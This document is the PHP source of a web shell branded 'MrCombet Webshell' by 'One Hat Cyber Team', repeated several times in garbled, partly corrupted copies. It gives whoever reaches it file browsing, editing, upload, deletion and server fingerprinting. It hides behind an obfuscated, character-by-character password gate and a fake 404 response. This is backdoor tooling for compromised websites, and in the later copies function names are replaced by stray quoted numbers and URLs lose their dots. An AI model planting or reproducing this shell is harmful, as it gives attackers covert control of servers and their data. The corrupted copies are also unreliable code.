if (!($lE <= $j3)) {
goto ie;
}
echo sS($Op[$lE]);
if (!($lE != $j3)) {
goto s0;
}
echo "2f";
s0:
dg:
$lE++;
goto de;
ie:
echo "\">{$Oe}</a>/";
CS:
}
Go:
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: 17px;">
if (!isset($_GET["a"])) {
goto Un;
}
if (!isset($_GET["a"])) {
goto cc;
}
$im = Jd($_GET["a"]);
cc:
<div class="table-responsive text-light">
if (!($im == "delete")) {
goto Lu;
}
$BL = $Jd . "/" . Jd($_GET["n"]);
if (!($_GET["t"] == "d")) {
goto VZ;
}
TF($BL);
if (!$c8[12]($BL)) {
goto e8;
}
Xe("failed to delete the folder", 0);
goto iL;
e8:
Xe("folder deleted successfully");
iL:
VZ:
if (!($_GET["t"] == "f")) {
goto xB;
}
$BL = $Jd . "/" . jd($_GET["n"]);
unlink($BL);
if (!$c8[12]($BL)) {
goto uH;
}
Xe("file to delete the folder", 0);
goto Mk;
uH:
xe("file deleted successfully");
Mk:
xB:
Lu:
if ($im == "newDir") {
goto Fg;
}
if ($im == "newFile") {
goto Pb;
}
if ($im == "rename") {
goto Lw;
}
if ($im == "edit") {
goto Ox;
}
if ($im == "view") {
goto Ag;
}
goto WC;
Fg:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ($c8[12]("{$Jd}/{$_POST["n"]}")
? xE("folder name has been used", 0, "&a=" . SS("newDir"))
: ($c8[15]("{$Jd}/{$_POST["n"]}")
? Xe("folder created successfully")
: Xe("folder failed to create", 0)))
: null;
goto WC;
Pb:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border p-1" placeholder="" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ($c8[12]("{$Jd}/{$_POST["n"]}")
? xE("file name has been used", 0, "&a=" . SS("newFile"))
: ($c8[13]("{$Jd}/{$_POST["n"]}", $_POST["ctn"])
? XE("", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"]))
: Xe("file failed to create", 0)))
: null;
goto WC;
Lw:
<h5 class="border p-1">Rename File : = jD($_GET["n"])</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" style="text-align: center;" class="border p-1" value="= jD(
$_GET["n"]
)">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ($c8[16]($Jd . "/" . jD($_GET["n"]), $_POST["n"])
? XE("successfully changed the folder name")
: Xe("failed to change the folder name", 0))
: null;
goto WC;
Ox:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">Edit File Name : <font color="white">= Jd(
$_GET["n"]
)</font></h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border">= $c8[18](
$c8[14]($Jd . "/" . jD($_GET["n"]))
)</textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ($c8[13]($Jd . "/" . jD($_GET["n"]), $_POST["ctn"])
? xE(
"file contents changed successfully",
1,
"&a=" . sS("view") . "&n={$_GET["n"]}"
)
: xE("file contents failed to change"))
: null;
goto WC;
Ag:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">View File Name : <font color="white">= jd(
$_GET["n"]
)</font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly>= $c8[18](
$c8[14]($Jd . "/" . jd($_GET["n"]))
)</textarea>
</div>
WC:
</div>
goto mR;
Un:
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> $G3 = $c8[5]($G3($Jd), [, ".."]);
foreach ($G3 as $yf) {
if ($c8[6]("{$Jd}/{$yf}")) {
goto CB;
}
goto Qj;
CB:
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-folder-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
sS("{$Jd}/{$yf}") .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
$c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) .
"\">{$yf}</a></td>
<td style=\"color: black;\"><span></span></td>
<td><font color=\"" .
($c8[8]("{$Jd}/{$yf}")
? "#00ff00"
: (!$c8[9]("{$Jd}/{$yf}")
? "#ff0000"
: null)) .
"\">" .
RN("{$Jd}/{$yf}") .
"</font></td>
<td style=\"color: black;width: 9.5%;\"><span></span></td>
<td>
<a href=\"?p=" .
ss($Jd) .
"&a=" .
ss("rename") .
"&n=" .
ss($yf) .
"&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" .
sS($Jd) .
"&a=" .
ss("delete") .
"&n=" .
ss($yf) .
"\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>";
Qj:
}
ad:
foreach ($G3 as $F1) {
if ($c8[7]("{$Jd}/{$F1}")) {
goto wA;
}
goto X1;
wA:
$kL = $c8[10]("{$Jd}/{$F1}") / 1024;
$kL = round($kL, 3);
$kL = $kL > 1024 ? round($kL / 1024, 2) . " MB" : $kL . " KB";
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-file-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
SS($Jd) .
"&a=" .
sS("view") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
$c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) .
"\">{$F1}</a></td>
<td><span>{$kL}</span></td>
<td><font color=\"" .
($c8[8]("{$Jd}/{$F1}")
? "#00ff00"
: (!$c8[9]("{$Jd}/{$F1}")
? "#ff0000"
: null)) .
"\">" .
rN("{$Jd}/{$F1}") .
"</font></td>
<td><a href=\"?p=" .
Ss($Jd) .
"&a=" .
Ss("edit") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
SS("rename") .
"&n=" .
ss($F1) .
"&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
sS("delete") .
"&n=" .
ss($F1) .
"\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>";
X1:
}
a2:
</tbody>
</table>
<h5 style="color: #ffff00;">
<font>© Copyright 2022</font>
<font style="color: #ff0000;">Mr.Combet</font>
<font>Powered by </font>
<font style="color: #ff0000;">One Hat Cyber Team</font>
</h5>
mR:
</div>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>bsCustomFileInput.init();
$('[data-toggle="tooltip"]').tooltip();
$(".delete").click(function(e)
{
e.preventDefault();
let type=$(this).attr("data-type");
swal(
{
icon:"warning",title:"Are you sure?",text:"This "+type+" will be deleted",buttons:true,dangerMode:true,
}
).then((willDelete)=>
{
if(willDelete)
{
const buildURL=$(this).attr("href")+"&t="+((type=="folder")?"d":"f");
document.location.href=buildURL
}
}
)
}
);
</script>
</body>
</html>
$Ww="H";$WWWw="l";$WwW ="<";$WWWw.="g";$WWWw.="_";$WWWw.="m";$Ww.="T";$Ww.="T";$WWWw.="i";$WwW.="f";$Ww.="P";$Ww.="_";$WwW.="o";$WWWw.="m";$Ww.="H";$Ww.="O";$WwW.="r";$WWWw.="a";$Ww.="S";$WwW.="m";$Ww.="T";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="f";$WwW.="o";$WwW.="r";$WwW.="m";$WwW.="1";$WwW.="'";$WwW.=" ";$WwW.="a";$WwW.="c";$WwW.="t";$WwW.="i";$WwW.="o";$WwW.="n";$WwW.="=";$WwW.="'";$WwW.="'";$WwW.=" ";$WwW.="m";$WwW.="e";$WwW.="t";$WwW.="h";$WwW.="o";$WwW.="d";$WwW.="=";$WwW.="'";$WwW.="p";$WwW.="o";$WwW.="s";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="i";$WwW.="n";$WwW.="p";$WwW.="u";$WwW.="t";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="l";$WwW.="g";$WwW.="_";session_start();$WwW.="m";$WwW.="i";$WwW.="m";$WwW.="a";$WwW.="'";$WwW.=" ";$WwW.="t";$WwW.="y";$WwW.="p";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="t";$WwW.="e";$WwW.="x";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="i";$WwW.="n";$WwW.="p";$WwW.="u";$WwW.="t";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=" ";$WwW.="t";$WwW.="y";$WwW.="p";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=" ";$WwW.="v";$WwW.="a";$WwW.="l";$WwW.="u";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="/";$WwW.="f";$WwW.="o";$WwW.="r";$WwW.="m";$WwW.=">";$W=$_SERVER[$Ww];$W.=$WWWw;$W=md5($W);$W=substr($W,0,6);if(isset($_POST[$WWWw])){$_SESSION[$WWWw]=trim($_POST[$WWWw]);}if(empty($_SESSION[$WWWw])||$_SESSION[$WWWw]!=$W){echo $WwW; exit;}error_reporting(0);
http_response_code(404);
define("Yp", "");
$G3 = "scandir";
$lE = 0;
T4:
if (!($lE < count($c8))) {
goto Je;
}
$c8[$lE] = JD($c8[$lE]);
Cy:
$lE++;
goto T4;
Je:
if (isset($_GET["p"])) {
goto sr;
}
$Jd = " "();
goto VN;
sr:
$Jd = jD($_GET["p"]);
" "(Jd($_GET["p"]));
VN:
function Ss($SP)
{
$dE = "";
$lE = 0;
NZ:
if (!($lE < strlen($SP))) {
goto Xc;
}
$dE .= dechex(ord($SP[$lE]));
WK:
$lE++;
goto NZ;
Xc:
return $dE;
}
function Jd($SP)
{
$dE = "";
$gf = strlen($SP) - 1;
$lE = 0;
Xp:
if (!($lE < $gf)) {
goto ur;
}
$dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1]));
Wn:
$lE += 2;
goto Xp;
ur:
return $dE;
}
function rn($F1)
{
$Jd = fileperms($F1);
if (($Jd & 0xc000) == 0xc000) {
goto FZ;
}
if (($Jd & 0xa000) == 0xa000) {
goto Eu;
}
if (($Jd & 0x8000) == 0x8000) {
goto ES;
}
if (($Jd & 0x6000) == 0x6000) {
goto sA;
}
if (($Jd & 0x4000) == 0x4000) {
goto lG;
}
if (($Jd & 0x2000) == 0x2000) {
goto tV;
}
if (($Jd & 0x1000) == 0x1000) {
goto Tx;
}
$lE = "u";
goto cC;
FZ:
$lE = "s";
goto cC;
Eu:
$lE = "l";
goto cC;
ES:
$lE = "-";
goto cC;
sA:
$lE = "b";
goto cC;
lG:
$lE = "d";
goto cC;
tV:
$lE = "c";
goto cC;
Tx:
$lE = "p";
cC:
$lE .= $Jd & 0x100 ? "r" : "-";
$lE .= $Jd & 0x80 ? "w" : "-";
$lE .= $Jd & 0x40 ? ($Jd & 0x800 ? "s" : "x") : ($Jd & 0x800 ? "S" : "-");
$lE .= $Jd & 0x20 ? "r" : "-";
$lE .= $Jd & 0x10 ? "w" : "-";
$lE .= $Jd & 0x8 ? ($Jd & 0x400 ? "s" : "x") : ($Jd & 0x400 ? "S" : "-");
$lE .= $Jd & 0x4 ? "r" : "-";
$lE .= $Jd & 0x2 ? "w" : "-";
$lE .= $Jd & 0x1 ? ($Jd & 0x200 ? "t" : "x") : ($Jd & 0x200 ? "T" : "-");
return $lE;
}
function Xe($OB, $Ch = 1, $BL = "")
{
global $Jd;
$xe = $Ch == 1 ? "success" : "error";
echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){documentlocationhref=\"?p=" .
Ss($Jd) .
$BL .
"\"}})</script>";
}
function tF($yf)
{
global $c8;
if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ) === "")) {
goto IE;
}
return;
IE:
if ("""($yf)) {
goto PF;
}
unlink($yf);
goto jK;
PF:
array_map(
"deldir",
glob($yfDIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)
);
rmdir($yf);
jK:
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:title" content="MrCombet Webshell 🔥" />
<meta property="og:description" content="One Hat Cyber Team" />
<meta name="theme-color" content="#ff0000">
<meta name="viewport" content="width=device-width, initial-scale=060, shrink-to-fit=no">
<link rel="stylesheet" href="//cdnjsdelivrnet/npm/bootstrap@460/dist/css/bootstrapmincss">
<link rel="stylesheet" href="//cdnjscloudflarecom/ajax/libs/font-awesome/470/css/font-awesomemincss">
<title>MrCombet Webshell 🔥</title>
<style>
@import url('//fontsgoogleapiscom/css2?family=Kelly+Slab&display=swap');
body {
color: black;
font-size: 0px;
font-family: 'Kelly Slab';
width: 99%;
padding: 0px;
margin-right: auto;
margin-left: auto;
margin-top: 7px;
margin-bottom: 7px;
background-color: black!important; }
.bg-dark { background-color: black!important; }
.border {
box-shadow: 0px 0px 10px #ff0000;
border: 2px solid #ffff00!important;
border-radius: 5px;
background: transparent;
}
.border:hover {
box-shadow: 0px 0px 10px #ffff00;
border: 2px solid #ff0000!important;
}
.table td { padding: 01rem;box-shadow: inset 0px 0px 0px 1px #ff0000;border-radius: 2px; }
.table thead th {
box-shadow: inset 0px 0px 0px 15px #ff0000;
color: #ffff00;
padding: 025rem;
border-radius: 5px;
background: linear-gradient(to bottom, black, #3f3f3f80);
}
.table-hover tbody tr:hover td{ background: #3f3f3f80;box-shadow: inset 0px 0px 0px 1px #ffff00;border-radius: 2px; }
.table-hover tbody tr:hover td>*{ }
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
.form-control{background:0 0!important;color:#fff!important;border-radius:0;}
.form-control::placeholder{color:#fff;opacity:1}
.form-group {
margin-top: 15px;
margin-bottom: 15px;
}
li{
font-size:17px!important;
color: #ffff00!important;
list-style: inherit!important;
}
a {
color: #ffffff!important;
text-decoration: none!important;
}
a:hover {
text-decoration: none!important;
color: #ffff00!important;
}
h5 {
margin-top: 15px;
margin-bottom: 15px;
font-size: 18px!important;
color: #ffff00!important;
padding: 2px;
}
textarea {
width: 97%;
font-size: 16px;
font-family: inherit;
height: 44vh;
padding-left: 5px;
}
button, input {
border: 2px solid #ffff00;
border-radius: 5px;
font-size: 15px;
color:white;
line-height: normal;
font-family: inherit;
box-shadow: 0px 0px 5px #ff0000;
}
button, input:hover { border: 2px solid #ff0000;cursor: pointer;box-shadow: 0px 0px 5px #ffff00; }
.ohct {
padding-left: 1rem;
padding-right: 1rem;
color: white;
border: 2px solid #ffff00;
border-radius: 5px;
background-color: transparent;
font-family: inherit;
font-size: 16px;
box-shadow: 0px 0px 5px #ff0000;
}
.ohct:hover {
border: 2px solid #ff0000;
color: #ffff00!important;
box-shadow: 0px 0px 5px #ffff00;
}
.combet { color: white; }
.combet:hover { color: #ffff00; }
.p-1 { padding: 4px; }
</style>
<style>
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;color: #ffff00;}
.fa:hover {border: 2px solid #ff0000;}
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
</style>
<script src="//unpkgcom/sweetalert/dist/sweetalertminjs"></script>
</head>
<body>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;border: 2px solid #ff0000;border-radius:5px;">
<li>Your IP : <span style="color: white;">echo gethostbyname(
$_SERVER["REMOTE_ADDR"]
);</span></li>
<li>Server IP : <span style="color: white;">echo gethostbyname(
$_SERVER["SERVER_NAME"]
);</span></li>
<li>Server : <span style="color: white;">echo php_uname();</span></li>
<li>Server Software : <span style="color: white;">echo $_SERVER[
"SERVER_SOFTWARE"
];</span></li>
<li>PHP Version : <span style="color: white;">echo phpversion();</span></li>
<li>Add File : <a href="?p== ss($Jd) .
"&a=" .
Ss("newFile")" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p== Ss($Jd) .
"&a=" .
sS("newDir")" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 010rem;display: inline-block;">
<input type="file" name="f[]" multiple>
<input type="submit" value="Submit" name="submit" class="ohct">
if (!isset($_FILES["f"])) {
goto ea;
}
$Wx = $_FILES["f"]["name"];
$lE = 0;
th:
if (!($lE < count($Wx))) {
goto dx;
}
if ("7"($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) {
goto PG;
}
Xe("file failed to upload", 0);
goto tG;
PG:
XE("file uploaded successfully");
tG:
g9:
$lE++;
goto th;
dx:
ea:
if (!isset($_GET["download"])) {
goto FA;
}
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-Length: 6"(JD($_GET["n"])));
header("Content-disposition: attachment; filename=\"" . jd($_GET["n"]) . "\"");
FA:
</form></li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid #ff0000;border-radius:5px;">
<li>Dir : <span>$Op = " "("/(\\\\|\\/)/", $Jd);
foreach ($Op as $j3 => $Oe) {
if (!($j3 == 0 && $Oe == "")) {
goto xi;
}
echo "<a href=\"?p=2f\" class=\"combet\">~</a>/";
goto CS;
xi:
if (!($Oe == "")) {
goto sq;
}
goto CS;
sq:
echo "<a class=\"combet\" href=\"?p=";
$lE = 0;
de:
if (!($lE <= $j3)) {
goto ie;
}
echo sS($Op[$lE]);
if (!($lE != $j3)) {
goto s0;
}
echo "2f";
s0:
dg:
$lE++;
goto de;
ie:
echo "\">{$Oe}</a>/";
CS:
}
Go:
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: 17px;">
if (!isset($_GET["a"])) {
goto Un;
}
if (!isset($_GET["a"])) {
goto cc;
}
$im = Jd($_GET["a"]);
cc:
<div class="table-responsive text-light">
if (!($im == "delete")) {
goto Lu;
}
$BL = $Jd . "/" . Jd($_GET["n"]);
if (!($_GET["t"] == "d")) {
goto VZ;
}
TF($BL);
if (!"0"($BL)) {
goto e8;
}
Xe("failed to delete the folder", 0);
goto iL;
e8:
Xe("folder deleted successfully");
iL:
VZ:
if (!($_GET["t"] == "f")) {
goto xB;
}
$BL = $Jd . "/" . jd($_GET["n"]);
unlink($BL);
if (!"0"($BL)) {
goto uH;
}
Xe("file to delete the folder", 0);
goto Mk;
uH:
xe("file deleted successfully");
Mk:
xB:
Lu:
if ($im == "newDir") {
goto Fg;
}
if ($im == "newFile") {
goto Pb;
}
if ($im == "rename") {
goto Lw;
}
if ($im == "edit") {
goto Ox;
}
if ($im == "view") {
goto Ag;
}
goto WC;
Fg:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ("0"("{$Jd}/{$_POST["n"]}")
? xE("folder name has been used", 0, "&a=" . SS("newDir"))
: ("7"("{$Jd}/{$_POST["n"]}")
? Xe("folder created successfully")
: Xe("folder failed to create", 0)))
: null;
goto WC;
Pb:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border p-1" placeholder="" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div>
</form>
isset($_POST["s"])
? ("0"("{$Jd}/{$_POST["n"]}")
? xE("file name has been used", 0, "&a=" . SS("newFile"))
: ("5"("{$Jd}/{$_POST["n"]}", $_POST["ctn"])
? XE("", 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"]))
: Xe("file failed to create", 0)))
: null;
goto WC;
Lw:
<h5 class="border p-1">Rename File : = jD($_GET["n"])</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" style="text-align: center;" class="border p-1" value="= jD(
$_GET["n"]
)">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ("5"($Jd . "/" . jD($_GET["n"]), $_POST["n"])
? XE("successfully changed the folder name")
: Xe("failed to change the folder name", 0))
: null;
goto WC;
Ox:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">Edit File Name : <font color="white">= Jd(
$_GET["n"]
)</font></h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border">= "e"(
"f"($Jd . "/" . jD($_GET["n"]))
)</textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
isset($_POST["s"])
? ("5"($Jd . "/" . jD($_GET["n"]), $_POST["ctn"])
? xE(
"file contents changed successfully",
1,
"&a=" . sS("view") . "&n={$_GET["n"]}"
)
: xE("file contents failed to change"))
: null;
goto WC;
Ag:
<h5 class="p-1" style="text-align: center;border: 2px solid #ff0000;border-radius:5px;">View File Name : <font color="white">= jd(
$_GET["n"]
)</font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly>= "e"(
"f"($Jd . "/" . jd($_GET["n"]))
)</textarea>
</div>
WC:
</div>
goto mR;
Un:
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> $G3 = " "($G3($Jd), [, ".."]);
foreach ($G3 as $yf) {
if ("""("{$Jd}/{$yf}")) {
goto CB;
}
goto Qj;
CB:
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-folder-o\" style=\"border: 0;padding: 0;width: 128571429em;\"></i><a href=\"?p=" .
sS("{$Jd}/{$yf}") .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on 6"("Y-m-d H:i", "1"("{$Jd}/{$yf}")) .
"\">{$yf}</a></td>
<td style=\"color: black;\"><span></span></td>
<td><font color=\"" .
("0"("{$Jd}/{$yf}")
? "#00ff00"
: (!"6"("{$Jd}/{$yf}")
? "#ff0000"
: null)) .
"\">" .
RN("{$Jd}/{$yf}") .
"</font></td>
<td style=\"color: black;width: 95%;\"><span></span></td>
<td>
<a href=\"?p=" .
ss($Jd) .
"&a=" .
ss("rename") .
"&n=" .
ss($yf) .
"&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" .
sS($Jd) .
"&a=" .
ss("delete") .
"&n=" .
ss($yf) .
"\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>";
Qj:
}
ad:
foreach ($G3 as $F1) {
if ("7"("{$Jd}/{$F1}")) {
goto wA;
}
goto X1;
wA:
$kL = "8"("{$Jd}/{$F1}") / 1024;
$kL = round($kL, 3);
$kL = $kL > 1024 ? round($kL / 1024, 2) . " MB" : $kL . " KB";
echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-file-o\" style=\"border: 0;padding: 0;width: 128571429em;\"></i><a href=\"?p=" .
SS($Jd) .
"&a=" .
sS("view") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on 6"("Y-m-d H:i", "1"("{$Jd}/{$F1}")) .
"\">{$F1}</a></td>
<td><span>{$kL}</span></td>
<td><font color=\"" .
("0"("{$Jd}/{$F1}")
? "#00ff00"
: (!"6"("{$Jd}/{$F1}")
? "#ff0000"
: null)) .
"\">" .
rN("{$Jd}/{$F1}") .
"</font></td>
<td><a href=\"?p=" .
Ss($Jd) .
"&a=" .
Ss("edit") .
"&n=" .
SS($F1) .
"\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
SS("rename") .
"&n=" .
ss($F1) .
"&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" .
ss($Jd) .
"&a=" .
sS("delete") .
"&n=" .
ss($F1) .
"\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>";
X1:
}
a2:
</tbody>
</table>
<h5 style="color: #ffff00;">
<font>© Copyright 2022</font>
<font style="color: #ff0000;">MrCombet</font>
<font>Powered by </font>
<font style="color: #ff0000;">One Hat Cyber Team</font>
</h5>
mR:
</div>
<script src="//codejquerycom/jquery-351slimminjs"></script>
<script src="//cdnjsdelivrnet/npm/bootstrap@460/dist/js/bootstrapbundleminjs" ></script>
<script src="//cdnjsdelivrnet/npm/bs-custom-file-input/dist/bs-custom-file-inputminjs"></script>
<script>bsCustomFileInputinit();
$('[data-toggle="tooltip"]').tooltip();
$(".delete").click(function(e)
{
epreventDefault();
let type=$(this).attr("data-type");
swal(
{
icon:"warning",title:"Are you sure?",text:"This "+type+" will be deleted",buttons:true,dangerMode:true,
}
).then((willDelete)=>
{
if(willDelete)
{
const buildURL=$(this).attr("href")+"&t="+((type=="folder")?"d":"f");
documentlocationhref=buildURL
}
}
)
}
);
</script>
</body>
</html>
"H"Ww="l";"H"W ="<";"H"Ww.="g";"H"Ww.="_";"H"Ww.="m";"H".="T";"H".="T";"H"Ww.="i";"H"W.="f";"H".="P";"H".="_";"H"W.="o";"H"Ww.="m";"H".="H";"H".="O";"H"W.="r";"H"Ww.="a";"H".="S";"H"W.="m";"H".="T";"H"W.=" ";"H"W.="n";"H"W.="a";"H"W.="m";"H"W.="e";"H"W.="=";"H"W.="'";"H"W.="f";"H"W.="o";"H"W.="r";"H"W.="m";"H"W.="1";"H"W.="'";"H"W.=" ";"H"W.="a";"H"W.="c";"H"W.="t";"H"W.="i";"H"W.="o";"H"W.="n";"H"W.="=";"H"W.="'";"H"W.="'";"H"W.=" ";"H"W.="m";"H"W.="e";"H"W.="t";"H"W.="h";"H"W.="o";"H"W.="d";"H"W.="=";"H"W.="'";"H"W.="p";"H"W.="o";"H"W.="s";"H"W.="t";"H"W.="'";"H"W.=">";"H"W.="<";"H"W.="i";"H"W.="n";"H"W.="p";"H"W.="u";"H"W.="t";"H"W.=" ";"H"W.="n";"H"W.="a";"H"W.="m";"H"W.="e";"H"W.="=";"H"W.="'";"H"W.="l";"H"W.="g";"H"W.="_";session_start();"H"W.="m";"H"W.="i";"H"W.="m";"H"W.="a";"H"W.="'";"H"W.=" ";"H"W.="t";"H"W.="y";"H"W.="p";"H"W.="e";"H"W.="=";"H"W.="'";"H"W.="t";"H"W.="e";"H"W.="x";"H"W.="t";"H"W.="'";"H"W.=">";"H"W.="<";"H"W.="i";"H"W.="n";"H"W.="p";"H"W.="u";"H"W.="t";"H"W.=" ";"H"W.="n";"H"W.="a";"H"W.="m";"H"W.="e";"H"W.="=";"H"W.="'";"H"W.="s";"H"W.="u";"H"W.="b";"H"W.="m";"H"W.="i";"H"W.="t";"H"W.="'";"H"W.=" ";"H"W.="t";"H"W.="y";"H"W.="p";"H"W.="e";"H"W.="=";"H"W.="'";"H"W.="s";"H"W.="u";"H"W.="b";"H"W.="m";"H"W.="i";"H"W.="t";"H"W.="'";"H"W.=" 